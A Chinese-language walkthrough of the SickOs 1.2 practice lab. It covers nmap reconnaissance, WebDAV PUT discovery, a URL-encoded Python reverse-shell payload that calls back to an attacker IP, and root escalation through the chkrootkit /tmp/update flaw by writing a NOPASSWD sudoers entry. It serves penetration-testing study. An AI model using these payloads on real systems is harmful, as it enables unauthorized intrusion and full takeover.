6-SickOs1.2

目标靶机：http://192.168.3.44/
#信息收集
nmap 端口扫描

```
Nmap scan report for 192.168.3.44
Host is up (0.00024s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:06:CF:34 (Oracle VirtualBox virtual NIC)
```

nmap漏洞扫描

```
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-01 04:08 EST
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.3.44
Host is up (0.00039s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
|_  /test/: Test page
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and
hold
```

```
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
MAC Address: 08:00:27:06:CF:34 (Oracle VirtualBox virtual NIC)
```

nmap服务探测

```
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-01 04:08 EST
Nmap scan report for 192.168.3.44
Host is up (0.00031s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 66:8c:c0:f2:85:7c:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA)
|   2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)
|_  256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)
80/tcp open  http    lighttpd 1.4.28
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: lighttpd/1.4.28
MAC Address: 08:00:27:06:CF:34 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (93%), Linux 3.16 - 4.6 (93%), Linux 3.2 -
4.9 (93%), Linux 4.4 (93%), Linux 3.13 (90%), Linux 3.18 (89%), Linux 4.2 (87%), Linux
3.13 - 3.16 (87%), Linux 3.16 (87%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or
Designated Driver (Linux 4.1 or 4.4) (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

版本信息

```
HTTPServer[lighttpd/1.4.28],
IP[192.168.3.44],
PHP[5.3.10-1ubuntu3.21],
X-Powered-By[PHP/5.3.10-1ubuntu3.21], lighttpd[1.4.28]
```

目录扫描

```
http://192.168.3.44/test/
```

#利用
查看到服务器支持put请求

```
└──# curl -X OPTIONS http://192.168.3.44/test/ -vv
*   Trying 192.168.3.44:80...
* Connected to 192.168.3.44 (192.168.3.44) port 80 (#0)
> OPTIONS /test/ HTTP/1.1
> Host: 192.168.3.44
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 200 OK
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Allow: OPTIONS, GET, HEAD, POST
< Content-Length: 0
< Date: Mon, 01 Jan 2024 17:43:15 GMT
< Server: lighttpd/1.4.28
<
* Connection #0 to host 192.168.3.44 left intact
```

反弹shell

```
python%20-
c%20'import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22192.168.1.100%22%2C443))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bimport%20pty%3B%20pty.spawn(%22%2Fbin%2Fbash%22)'
```

网站用户权限

```
www-data@ubuntu:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ubuntu:/tmp$
```

#提权
机子不允许连外网，无法上传脚本或内核利用程序
ls /etc/cron*
发现计划任务的每日计划有两个工具，谷歌也搜到这两个工具的漏洞

```
chkrootkit    lighttpd
```

搜索到的漏洞说明

-在/tmp中放置一个名为"update"的非root所有者的可执行文件（显然没有挂载noexec）

-运行chkrootkit（作为uid 0）

结果：文件/tmp/update将以root身份执行，因此如果文件中放置了恶意内容，则可以有效地获得机器的root权限。

放一个update的文件到/tmp下，会被该工具执行（通常root）。

echo "echo 'www-data ALL=NOPASSWD: ALL' >> /etc/sudoers" > 2

cat 2 内容如下

```
echo "echo 'www-data ALL=NOPASSWD: ALL' >> /etc/sudoers"
```

mv 2 update #等待计划任务执行该文件，就会添加一个sudo无密码完全权限到www-data用户，

最后

sudo su